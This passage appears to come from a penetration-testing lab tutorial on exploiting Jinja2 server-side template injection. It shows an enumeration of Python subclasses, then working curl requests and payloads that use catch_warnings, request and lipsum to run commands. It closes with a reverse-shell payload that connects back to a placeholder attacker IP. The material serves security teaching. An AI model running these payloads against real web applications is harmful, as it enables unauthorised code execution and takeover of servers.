&#39;werkzeug.wrappers.response.ResponseStreamMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.common\_descriptors.CommonRequestDescriptorsMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.common\_descriptors.CommonResponseDescriptorsMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.etag.ETagRequestMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.etag.ETagResponseMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.user\_agent.UserAgentMixin&#39;&gt;, &lt;class &#39;werkzeug.test.\_TestCookieHeaders&#39;&gt;, &lt;class &#39;werkzeug.test.\_TestCookieResponse&#39;&gt;, &lt;class &#39;werkzeug.test.EnvironBuilder&#39;&gt;, &lt;class &#39;werkzeug.test.Client&#39;&gt;, &lt;class &#39;decimal.Decimal&#39;&gt;, &lt;class &#39;decimal.Context&#39;&gt;, &lt;class &#39;decimal.SignalDictMixin&#39;&gt;, &lt;class &#39;decimal.ContextManager&#39;&gt;, &lt;class &#39;numbers.Number&#39;&gt;, &lt;class &#39;uuid.UUID&#39;&gt;, &lt;class &#39;\_pickle.Unpickler&#39;&gt;, &lt;class &#39;\_pickle.Pickler&#39;&gt;, &lt;class &#39;\_pickle.Pdata&#39;&gt;, &lt;class &#39;\_pickle.PicklerMemoProxy&#39;&gt;, &lt;class &#39;\_pickle.UnpicklerMemoProxy&#39;&gt;, &lt;class &#39;pickle.\_Framer&#39;&gt;, &lt;class &#39;pickle.\_Unframer&#39;&gt;, &lt;class &#39;pickle.\_Pickler&#39;&gt;, &lt;class &#39;pickle.\_Unpickler&#39;&gt;, &lt;class &#39;jinja2.bccache.Bucket&#39;&gt;, &lt;class &#39;jinja2.bccache.BytecodeCache&#39;&gt;, &lt;class &#39;jinja2.utils.MissingType&#39;&gt;, &lt;class &#39;jinja2.utils.LRUCache&#39;&gt;, &lt;class &#39;jinja2.utils.Cycler&#39;&gt;, &lt;class &#39;jinja2.utils.Joiner&#39;&gt;, &lt;class &#39;jinja2.utils.Namespace&#39;&gt;, &lt;class &#39;jinja2.nodes.EvalContext&#39;&gt;, &lt;class &#39;jinja2.nodes.Node&#39;&gt;, &lt;class &#39;jinja2.visitor.NodeVisitor&#39;&gt;, &lt;class &#39;jinja2.idtracking.Symbols&#39;&gt;, &lt;class &#39;jinja2.compiler.MacroRef&#39;&gt;, &lt;class &#39;jinja2.compiler.Frame&#39;&gt;, &lt;class &#39;jinja2.runtime.TemplateReference&#39;&gt;, &lt;class &#39;jinja2.runtime.Context&#39;&gt;, &lt;class &#39;jinja2.runtime.BlockReference&#39;&gt;, &lt;class &#39;jinja2.runtime.LoopContext&#39;&gt;, &lt;class &#39;jinja2.runtime.Macro&#39;&gt;, &lt;class &#39;jinja2.runtime.Undefined&#39;&gt;, &lt;class &#39;ast.NodeVisitor&#39;&gt;, &lt;class &#39;jinja2.lexer.Failure&#39;&gt;, &lt;class &#39;jinja2.lexer.TokenStreamIterator&#39;&gt;, &lt;class &#39;jinja2.lexer.TokenStream&#39;&gt;, &lt;class &#39;jinja2.lexer.Lexer&#39;&gt;, &lt;class &#39;jinja2.parser.Parser&#39;&gt;, &lt;class &#39;jinja2.environment.Environment&#39;&gt;, &lt;class &#39;jinja2.environment.Template&#39;&gt;, &lt;class &#39;jinja2.environment.TemplateModule&#39;&gt;, &lt;class &#39;jinja2.environment.TemplateExpression&#39;&gt;, &lt;class &#39;jinja2.environment.TemplateStream&#39;&gt;, &lt;class &#39;jinja2.loaders.BaseLoader&#39;&gt;, &lt;class &#39;werkzeug.local.Local&#39;&gt;, &lt;class &#39;werkzeug.local.LocalStack&#39;&gt;, &lt;class &#39;werkzeug.local.LocalManager&#39;&gt;, &lt;class &#39;werkzeug.local.\_ProxyLookup&#39;&gt;, &lt;class &#39;werkzeug.local.LocalProxy&#39;&gt;, &lt;class &#39;difflib.SequenceMatcher&#39;&gt;, &lt;class &#39;difflib.Differ&#39;&gt;, &lt;class &#39;difflib.HtmlDiff&#39;&gt;, &lt;class &#39;pprint.\_safe\_key&#39;&gt;, &lt;class &#39;pprint.PrettyPrinter&#39;&gt;, &lt;class &#39;werkzeug.routing.RuleFactory&#39;&gt;, &lt;class &#39;werkzeug.routing.RuleTemplate&#39;&gt;, &lt;class &#39;werkzeug.routing.BaseConverter&#39;&gt;, &lt;class &#39;werkzeug.routing.Map&#39;&gt;, &lt;class &#39;werkzeug.routing.MapAdapter&#39;&gt;, &lt;class &#39;gettext.NullTranslations&#39;&gt;, &lt;class &#39;click.\_compat.\_FixupStream&#39;&gt;, &lt;class &#39;click.\_compat.\_AtomicFile&#39;&gt;, &lt;class &#39;click.utils.LazyFile&#39;&gt;, &lt;class &#39;click.utils.KeepOpenFile&#39;&gt;, &lt;class &#39;click.utils.PacifyFlushWrapper&#39;&gt;, &lt;class &#39;click.types.ParamType&#39;&gt;, &lt;class &#39;click.parser.Option&#39;&gt;, &lt;class &#39;click.parser.Argument&#39;&gt;, &lt;class &#39;click.parser.ParsingState&#39;&gt;, &lt;class &#39;click.parser.OptionParser&#39;&gt;, &lt;class &#39;click.formatting.HelpFormatter&#39;&gt;, &lt;class &#39;click.core.Context&#39;&gt;, &lt;class &#39;click.core.BaseCommand&#39;&gt;, &lt;class &#39;click.core.Parameter&#39;&gt;, &lt;class &#39;flask.signals.Namespace&#39;&gt;, &lt;class &#39;flask.signals.\_FakeSignal&#39;&gt;, &lt;class &#39;flask.cli.DispatchingApp&#39;&gt;, &lt;class &#39;flask.cli.ScriptInfo&#39;&gt;, &lt;class &#39;flask.config.ConfigAttribute&#39;&gt;, &lt;class &#39;flask.ctx.\_AppCtxGlobals&#39;&gt;, &lt;class &#39;flask.ctx.AppContext&#39;&gt;, &lt;class &#39;flask.ctx.RequestContext&#39;&gt;, &lt;class &#39;flask.scaffold.Scaffold&#39;&gt;, &lt;class &#39;itsdangerous.\_json.\_CompactJSON&#39;&gt;, &lt;class &#39;itsdangerous.signer.SigningAlgorithm&#39;&gt;, &lt;class &#39;itsdangerous.signer.Signer&#39;&gt;, &lt;class &#39;itsdangerous.serializer.Serializer&#39;&gt;, &lt;class &#39;flask.json.tag.JSONTag&#39;&gt;, &lt;class &#39;flask.json.tag.TaggedJSONSerializer&#39;&gt;, &lt;class &#39;flask.sessions.SessionInterface&#39;&gt;, &lt;class &#39;flask.blueprints.BlueprintSetupState&#39;&gt;, &lt;class &#39;unicodedata.UCD&#39;&gt;, &lt;class &#39;\_\_future\_\_.\_Feature&#39;&gt;]</a>  
 <br/>  
 <input type="submit" value="execute">  
 </form>  
 </div>  
<SNIP>  
</body>

Let us print out the number and the method names using the following payload.

Code: python

{% for i in range(450) %}   
{{ i }}  
{{ ''.\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()[i].\_\_name\_\_ }}   
{% endfor %}

Curl - Interacting with the Target

yovecio@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%25%20for%20i%20in%20range%28450%29%20%25%7D%20%7B%7B%20i%20%7D%7D%20%7B%7B%20%27%27.\_\_class\_\_.\_\_mro\_\_%5B1%5D.\_\_subclasses\_\_%28%29%5Bi%5D.\_\_name\_\_%20%7D%7D%20%7B%25%20endfor%20%25%7D"  
  
<SNIP>  
<body>  
 <div id="desktop">  
 <div class="window" data-title="Run">  
 <form action="/execute" method="get">  
 <a>C:\><input type="text" name="cmd" id="command"></a>  
 <br/>  
 <a> 0 type 1 weakref 2 weakcallableproxy 3 weakproxy 4 int 5 bytearray 6 bytes 7 list 8 NoneType 9 NotImplementedType 10 traceback 11 super 12 range 13 dict 14 dict\_keys 15 dict\_values 16 dict\_items 17 dict\_reversekeyiterator 18 dict\_reversevalueiterator 19 dict\_reverseitemiterator 20 odict\_iterator 21 set 22 str 23 slice 24 staticmethod 25 complex 26 float 27 frozenset 28 property 29 managedbuffer 30 memoryview 31 tuple 32 enumerate 33 reversed 34 stderrprinter 35 code 36 frame 37 builtin\_function\_or\_method 38 method 39 function 40 mappingproxy 41 generator 42 getset\_descriptor 43 wrapper\_descriptor 44 method-wrapper 45 ellipsis 46 member\_descriptor 47 SimpleNamespace 48 PyCapsule 49 longrange\_iterator 50 cell 51 instancemethod 52 classmethod\_descriptor 53 method\_descriptor 54 callable\_iterator 55 iterator 56 PickleBuffer 57 coroutine 58 coroutine\_wrapper 59 InterpreterID 60 EncodingMap 61 fieldnameiterator 62 formatteriterator 63 BaseException 64 hamt 65 hamt\_array\_node 66 hamt\_bitmap\_node 67 hamt\_collision\_node 68 keys 69 values 70 items 71 Context 72 ContextVar 73 Token 74 MISSING 75 moduledef 76 module 77 filter 78 map 79 zip 80 \_ModuleLock 81 \_DummyModuleLock 82 \_ModuleLockManager 83 ModuleSpec 84 BuiltinImporter 85 classmethod 86 FrozenImporter 87 \_ImportLockContext 88 \_localdummy 89 \_local 90 lock 91 RLock 92 \_IOBase 93 \_BytesIOBuffer 94 IncrementalNewlineDecoder 95 ScandirIterator 96 DirEntry 97 WindowsRegistryFinder 98 \_LoaderBasics 99 FileLoader 100 \_NamespacePath 101 \_NamespaceLoader 102 PathFinder 103 FileFinder 104 zipimporter 105 \_ZipImportResourceReader 106 Codec 107 IncrementalEncoder 108 IncrementalDecoder 109 StreamReaderWriter 110 StreamRecoder 111 \_abc\_data 112 ABC 113 dict\_itemiterator 114 Hashable 115 Awaitable 116 AsyncIterable 117 async\_generator 118 Iterable 119 bytes\_iterator 120 bytearray\_iterator 121 dict\_keyiterator 122 dict\_valueiterator 123 list\_iterator 124 list\_reverseiterator 125 range\_iterator 126 set\_iterator 127 str\_iterator 128 tuple\_iterator 129 Sized 130 Container 131 Callable 132 \_wrap\_close 133 Quitter 134 \_Printer 135 \_Helper 136 itemgetter 137 attrgetter 138 methodcaller 139 accumulate 140 combinations 141 combinations\_with\_replacement 142 cycle 143 dropwhile 144 takewhile 145 islice 146 starmap 147 chain 148 compress 149 filterfalse 150 count 151 zip\_longest 152 permutations 153 product 154 repeat 155 groupby 156 \_grouper 157 \_tee 158 \_tee\_dataobject 159 Repr 160 deque 161 \_deque\_iterator 162 \_deque\_reverse\_iterator 163 \_tuplegetter 164 \_Link 165 partial 166 \_lru\_cache\_wrapper 167 partialmethod 168 singledispatchmethod 169 cached\_property 170 DynamicClassAttribute 171 \_GeneratorWrapper 172 auto 173 Enum 174 Pattern 175 Match 176 SRE\_Scanner 177 State 178 SubPattern 179 Tokenizer 180 Scanner 181 Template 182 Formatter 183 ContextDecorator 184 \_GeneratorContextManagerBase 185 \_BaseExitStack 186 \_Final 187 \_Immutable 188 Generic 189 \_TypingEmpty 190 \_TypingEllipsis 191 NamedTuple 192 typing.io 193 typing.re 194 AST 195 \_MarkupEscapeHelper 196 poll 197 epoll 198 BaseSelector 199 socket 200 \_IterationGuard 201 WeakSet 202 \_RLock 203 Condition 204 Semaphore 205 Event 206 Barrier 207 Thread 208 BaseServer 209 ForkingMixIn 210 \_NoThreads 211 ThreadingMixIn 212 BaseRequestHandler 213 WarningMessage 214 catch\_warnings 215 date 216 timedelta 217 time 218 tzinfo 219 \_Info 220 finalize 221 sha384 222 sha512 223 Random 224 \_ResultMixinStr 225 \_ResultMixinBytes 226 \_NetlocResultMixinBase 227 \_localized\_month 228 \_localized\_day 229 Calendar 230 different\_locale 231 AddrlistClass 232 Struct 233 unpack\_iterator 234 Charset 235 Header 236 \_ValueFormatter 237 \_PolicyBase 238 BufferedSubFile 239 FeedParser 240 Parser 241 BytesParser 242 Message 243 HTTPConnection 244 \_SSLContext 245 \_SSLSocket 246 MemoryBIO 247 Session 248 SSLObject 249 MimeTypes 250 Compress 251 Decompress 252 BZ2Compressor 253 BZ2Decompressor 254 LZMACompressor 255 LZMADecompressor 256 Bytecode 257 Untokenizer 258 BlockFinder 259 \_void 260 \_empty 261 Parameter 262 BoundArguments 263 Signature 264 FrameSummary 265 TracebackException 266 LogRecord 267 PercentStyle 268 Formatter 269 BufferingFormatter 270 Filter 271 Filterer 272 PlaceHolder 273 Manager 274 LoggerAdapter 275 \_Missing 276 Aborter 277 Href 278 CompletedProcess 279 Popen 280 HASH 281 blake2b 282 blake2s 283 sha3\_224 284 sha3\_256 285 sha3\_384 286 sha3\_512 287 shake\_128 288 shake\_256 289 \_RandomNameSequence 290 \_TemporaryFileCloser 291 \_TemporaryFileWrapper 292 SpooledTemporaryFile 293 TemporaryDirectory 294 Request 295 OpenerDirector 296 BaseHandler 297 HTTPPasswordMgr 298 AbstractBasicAuthHandler 299 AbstractDigestAuthHandler 300 URLopener 301 ftpwrapper 302 Cookie 303 CookiePolicy 304 Absent 305 CookieJar 306 ImmutableListMixin 307 ImmutableDictMixin 308 \_omd\_bucket 309 Headers 310 ImmutableHeadersMixin 311 IfRange 312 Range 313 ContentRange 314 FileStorage 315 \_HAS\_DEFAULT\_FACTORY\_CLASS 316 \_MISSING\_TYPE 317 \_FIELD\_BASE 318 InitVar 319 Field 320 \_DataclassParams 321 Event 322 MultipartDecoder 323 MultipartEncoder 324 Finder 325 Loader 326 ResourceReader 327 ImpImporter 328 ImpLoader 329 HMAC 330 ClosingIterator 331 FileWrapper 332 \_RangeWrapper 333 HTMLBuilder 334 AcceptMixin 335 AuthorizationMixin 336 WWWAuthenticateMixin 337 Scanner 338 Encoder 339 JSONDecoder 340 JSONEncoder 341 FormDataParser 342 MultiPartParser 343 UserAgent 344 \_UserAgentParser 345 Request 346 StreamOnlyMixin 347 Response 348 ResponseStream 349 ResponseStreamMixin 350 CommonRequestDescriptorsMixin 351 CommonResponseDescriptorsMixin 352 ETagRequestMixin 353 ETagResponseMixin 354 UserAgentMixin 355 \_TestCookieHeaders 356 \_TestCookieResponse 357 EnvironBuilder 358 Client 359 Decimal 360 Context 361 SignalDictMixin 362 ContextManager 363 Number 364 UUID 365 Unpickler 366 Pickler 367 Pdata 368 PicklerMemoProxy 369 UnpicklerMemoProxy 370 \_Framer 371 \_Unframer 372 \_Pickler 373 \_Unpickler 374 Bucket 375 BytecodeCache 376 MissingType 377 LRUCache 378 Cycler 379 Joiner 380 Namespace 381 EvalContext 382 Node 383 NodeVisitor 384 Symbols 385 MacroRef 386 Frame 387 TemplateReference 388 Context 389 BlockReference 390 LoopContext 391 Macro 392 Undefined 393 NodeVisitor 394 Failure 395 TokenStreamIterator 396 TokenStream 397 Lexer 398 Parser 399 Environment 400 Template 401 TemplateModule 402 TemplateExpression 403 TemplateStream 404 BaseLoader 405 Local 406 LocalStack 407 LocalManager 408 \_ProxyLookup 409 LocalProxy 410 SequenceMatcher 411 Differ 412 HtmlDiff 413 \_safe\_key 414 PrettyPrinter 415 RuleFactory 416 RuleTemplate 417 BaseConverter 418 Map 419 MapAdapter 420 NullTranslations 421 \_FixupStream 422 \_AtomicFile 423 LazyFile 424 KeepOpenFile 425 PacifyFlushWrapper 426 ParamType 427 Option 428 Argument 429 ParsingState 430 OptionParser 431 HelpFormatter 432 Context 433 BaseCommand 434 Parameter 435 Namespace 436 \_FakeSignal 437 DispatchingApp 438 ScriptInfo 439 ConfigAttribute 440 \_AppCtxGlobals 441 AppContext 442 RequestContext 443 Scaffold 444 \_CompactJSON 445 SigningAlgorithm 446 Signer 447 Serializer 448 JSONTag 449 TaggedJSONSerializer </a>  
 <br/>  
 <input type="submit" value="execute">  
 </form>  
 </div>  
<SNIP>  
</body>

As you can see in the application's response, catch\_warnings is located at index #214.

We have everything we need to construct an RCE payload, such as the following.

Code: python

{{''.\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()[214]().\_module.\_\_builtins\_\_['\_\_import\_\_']('os').system("touch /tmp/test1") }}

Curl - Interacting with the Target

yovecio@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%27%27.\_\_class\_\_.\_\_mro\_\_%5B1%5D.\_\_subclasses\_\_%28%29%5B214%5D%28%29.\_module.\_\_builtins\_\_%5B%27\_\_import\_\_%27%5D%28%27os%27%29.system%28%22touch%20%2Ftmp%2Ftest1%22%29%20%7D%7D"  
  
<SNIP>  
<body>  
 <div id="desktop">  
 <div class="window" data-title="Run">  
 <form action="/execute" method="get">  
 <a>C:\><input type="text" name="cmd" id="command"></a>  
 <br/>  
 <a>0</a>  
 <br/>  
 <input type="submit" value="execute">  
 </form>  
 </div>  
<SNIP>  
</body>

The application returns 0 in its response. This is the return of the value of the command we just executed. 0 indicates that the command was executed without errors.

We can identify if test1 was created using the following payload.

Code: python

{{''.\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()[214]().\_module.\_\_builtins\_\_['\_\_import\_\_']('os').popen('ls /tmp').read()}}

Curl - Interacting with the Target

yovecio@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%27%27.\_\_class\_\_.\_\_mro\_\_%5B1%5D.\_\_subclasses\_\_%28%29%5B214%5D%28%29.\_module.\_\_builtins\_\_%5B%27\_\_import\_\_%27%5D%28%27os%27%29.popen%28%27ls%20%2Ftmp%27%29.read%28%29%7D%7D"  
  
<SNIP>  
<body>  
 <div id="desktop">  
 <div class="window" data-title="Run">  
 <form action="/execute" method="get">  
 <a>C:\><input type="text" name="cmd" id="command"></a>  
 <br/>  
 <a>test1  
tmpv4tucw2b  
</a>  
 <br/>  
 <input type="submit" value="execute">  
 </form>  
 </div>  
<SNIP>  
</body>

Now that we have gone through the payload development process, it's worth mentioning that we can use some specific functions to facilitate the exploitation of Jinja2 SSTI vulnerabilities. Those are request and lipsum. Feel free to submit them to this section's target.

Code: python

{{request.application.\_\_globals\_\_.\_\_builtins\_\_.\_\_import\_\_('os').popen('id').read()}}

Code: python

{{lipsum.\_\_globals\_\_.os.popen('id').read()}}

A reverse shell can also be established through a payload such as the below.

Code: python

{{''.\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()[214]().\_module.\_\_builtins\_\_['\_\_import\_\_']('os').popen('python -c \'socket=\_\_import\_\_("socket");os=\_\_import\_\_("os");pty=\_\_import\_\_("pty");s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("<PENTESTER\_IP>",<PENTESTER\_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read()}}